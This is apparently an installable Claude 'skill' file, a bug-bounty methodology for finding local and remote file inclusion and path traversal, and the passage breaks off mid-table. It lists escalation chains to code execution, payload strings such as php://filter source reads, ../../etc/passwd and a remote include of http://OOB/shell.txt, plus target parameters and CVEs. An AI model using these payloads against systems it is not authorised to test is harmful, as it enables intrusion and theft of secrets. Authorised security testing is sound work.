$npx -y skills add elementalsouls/Claude-BugHunter --skill hunt-lfiHunt Local File Inclusion (LFI), Remote File Inclusion (RFI), and Path Traversal — /etc/passwd read, log poisoning → RCE, PHP filter-chain RCE (no upload needed), php:// / data:// / zip:// / phar:// wrappers, RFI via allow_url_include, directory traversal read/write/delete. Cover
| 1 | # HUNT-LFI — Local / Remote File Inclusion & Path Traversal |
| 2 | |
| 3 | ## Crown Jewel Targets |
| 4 | |
| 5 | LFI that reaches code execution is Critical. Pure file-read is High when it exposes secrets (`.env`, `wp-config.php`, private keys, cloud creds), Medium when it only reads non-sensitive files. |
| 6 | |
| 7 | **Highest-value chains (in rough order of reliability in 2026):** |
| 8 | - **PHP filter-chain → RCE** — the modern default. A bare `php://filter` *file-read* primitive is upgraded to RCE with **no upload endpoint and no writable file** by chaining `iconv` conversions to forge an arbitrary PHP payload in-memory (Synacktiv, 2022). See the dedicated section below. This is the single most impactful thing to try and the most-missed. |
| 9 | - **Log poisoning → RCE** — inject PHP into an Apache/Nginx log (User-Agent / URL path), then include the log. Increasingly blocked by `open_basedir` and unreadable log perms, so verify the log is *readable* first. |
| 10 | - **PHP wrappers → source disclosure** — `php://filter/convert.base64-encode/resource=index.php` leaks source; read source to find more LFI sinks, secrets, and the include base path. |
| 11 | - **RFI → RCE** — when `allow_url_include=On`, `?file=http://OOB/shell.txt` pulls and executes remote code. Rare on modern configs but trivially Critical when present. |
| 12 | - **phar:// deserialization** — a crafted PHAR + any unserialize-on-metadata sink → object-injection RCE. |
| 13 | - **zip:// / data:// chains** and **session/upload poisoning** when filters block wrappers. |
| 14 | |
| 15 | --- |
| 16 | |
| 17 | ## OOB / Blind-LFI Confirmation Gate (Read First) |
| 18 | |
| 19 | LFI is frequently **blind**: the included content is parsed/executed but never reflected, or the page swallows the file into a template you can't see. Do **not** claim LFI from indirect signals alone. |
| 20 | |
| 21 | ### What is NOT confirmation |
| 22 | - A different status code or error string for `../../etc/passwd` vs a normal value. The app may be string-matching `../` and returning a canned 403/500 without ever touching the filesystem. |
| 23 | - Your input **echoed back** inside an error message (e.g. `failed to open '/var/www/../../etc/passwd'`). That is the path *formatter*, not proof the file was read. A genuine read shows file **contents**, not your path. |
| 24 | - A page that "looks different." Reflected-input or WAF block pages produce diffs unrelated to a real read. |
| 25 | |
| 26 | ### What IS confirmation |
| 27 | - **Direct read:** actual file *contents* appear (real `root:x:0:0:` line, real PHP source after base64-decoding the filter output). |
| 28 | - **Blind read via OOB exfil:** use a php://filter or XXE-style chain whose payload performs a DNS/HTTP callback to your **Burp Collaborator** subdomain, or use an `expect://` / wrapper that triggers an outbound request. A unique-per-sink Collaborator hit (DNS + HTTP, with the server's source IP) proves the include ran. |
| 29 | - **Blind read via differential/timing:** include a file you *know* exists and is large (`/etc/passwd`) vs one that does not (`/etc/passwd_nope_<rand>`). Stable, repeatable response-length or latency delta = real filesystem access. Confirm with a third known-good path to rule out coincidence. |
| 30 | |
| 31 | ### Default workflow |
| 32 | 1. Pick a **unique marker** target: prefer a file whose content you can fingerprint exactly (`/etc/passwd` → grep `^root:`). For blind, use a php://filter base64 read and decode — partial/truncated base64 still decodes to recognizable source. |
| 33 | 2. Generate a sub-tagged Collaborator payload per sink (`lfi-page.<collab>`, `lfi-tpl.<collab>`) so callbacks identify which parameter fired. |
| 34 | 3. Send, wait 30–120s, poll OOB. |
| 35 | 4. Claim LFI **only** after a content match, a Collaborator callback, or a stable triple-confirmed timing/length delta. Echoed paths and lone status-code changes are retracted. |
| 36 | |
| 37 | --- |
| 38 | |
| 39 | ## Attack Surface Signals |
| 40 | |
| 41 | ### URL / Body Parameters |
| 42 | ``` |
| 43 | ?page= ?file= ?path= ?template= ?view= ?lang= ?module= |
| 44 | ?include= ?doc= ?load= ?read= ?content= ?theme= ?layout= |
| 45 | ?component= ?download= ?img= ?pdf= ?report= ?style= ?dir= |
| 46 | JSON bodies: {"filename":...} {"template":...} {"path":...} |
| 47 | ``` |
| 48 | |
| 49 | ### Technology Stack Signals |
| 50 | | Signal | Vector | |
| 51 | |--------|--------| |
| 52 | | PHP (`X-Powered-By`, `.php`, PHPSESSID) | php:// filter-chain RCE, phar://, zip://, data:// | |
| 53 | | Apache/Nginx logs readable | Log poisoning → RCE (verify readability first) | |
| 54 | | Apache 2.4.49 / 2.4.50 (`Server:` banner) | CVE-2021-41773 / CVE-2021-42013 traversal → RCE | |
| 55 | | PHP-CGI on Windows (XAMPP, `php-cgi.exe`) | CVE-2024-4577 arg-injection → RCE | |
| 56 | | Java servlet (`/WEB-INF/`) | `WEB-INF/web.xml`, `classes/`, ` |